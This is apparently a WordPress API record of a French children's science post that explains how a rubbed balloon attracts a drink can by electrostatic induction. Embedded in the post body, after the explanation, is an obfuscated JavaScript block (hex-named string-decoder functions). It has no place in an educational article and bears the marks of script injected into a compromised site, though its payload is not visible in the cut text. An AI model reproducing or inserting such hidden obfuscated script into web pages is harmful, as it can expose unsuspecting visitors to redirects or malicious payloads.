{"id":2001,"date":"2020-03-31T18:55:09","date_gmt":"2020-03-31T17:55:09","guid":{"rendered":"https:\/\/www.energy-sciences.org\/sciences\/?p=2001"},"modified":"2020-03-31T18:55:09","modified_gmt":"2020-03-31T17:55:09","slug":"une-canette-telecommandee","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/une-canette-telecommandee\/","title":{"rendered":"Une canette t\u00e9l\u00e9command\u00e9e"},"content":{"rendered":"<p style=\"text-align: center;\"><a href=\"https:\/\/www.energy-sciences.org\/sciences\/wp-content\/uploads\/2020\/03\/Une-canette-t\u00e9l\u00e9command\u00e9e.pdf\" class=\"pdfemb-viewer\" style=\"width:600px;\" data-width=\"600\" data-height=\"max\" data-toolbar=\"top\" data-toolbar-fixed=\"on\">Une canette t\u00e9l\u00e9command\u00e9e<\/a><\/p>\n<p>&nbsp;<\/p>\n<h2>Que se passe-t-il ?<\/h2>\n<p style=\"text-align: justify;\">Lorsque tu frottes le ballon de baudruche, ce dernier s\u2019\u00e9lectrise c\u2019est-\u00e0-dire acquiert une charge positive ou n\u00e9gative (voir \u00e9galement les autres exp\u00e9riences d\u2019\u00e9lectrostatique). Dans la nature, il existe deux types de charges : les charges positives et les charges n\u00e9gatives. Deux charges de m\u00eame signe se repoussent et deux charges de signe oppos\u00e9e s\u2019attirent.<\/p>\n<p style=\"text-align: justify;\">La canette est constitu\u00e9e d\u2019un m\u00e9tal conducteur d\u2019\u00e9lectricit\u00e9, c\u2019est-\u00e0-dire poss\u00e9dant des charges n\u00e9gatives libres \u00e0 l\u2019int\u00e9rieur.<br \/>\nLorsque tu approches le ballon frott\u00e9 de la canette, cette derni\u00e8re s\u2019\u00e9lectrise par influence, c\u2019est-\u00e0-dire que la surface de la canette juste en face du ballon acquiert la charge oppos\u00e9e au ballon (les charges n\u00e9gatives libres se d\u00e9placent \u00e0 l\u2019int\u00e9rieur du conducteur \u00e0 cause de la pr\u00e9sence du ballon charg\u00e9). La canette est alors ensuite attir\u00e9e par le ballon.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Lorsque tu frottes le ballon de baudruche, ce dernier s\u2019\u00e9lectrise c\u2019est-\u00e0-dire acquiert une charge positive ou n\u00e9gative (voir \u00e9galement les autres exp\u00e9riences d\u2019\u00e9lectrostatique). Dans la nature, il existe deux types <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/une-canette-telecommandee\/\" title=\"Une canette t\u00e9l\u00e9command\u00e9e\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":2003,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[44],"tags":[],"class_list":{"0":"post-2001","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-physique-ludique"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=2001"}],"version-history":[{"count":1,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2001\/revisions"}],"predecessor-version":[{"id":2004,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/2001\/revisions\/2004"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media\/2003"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=2001"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=2001"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=2001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}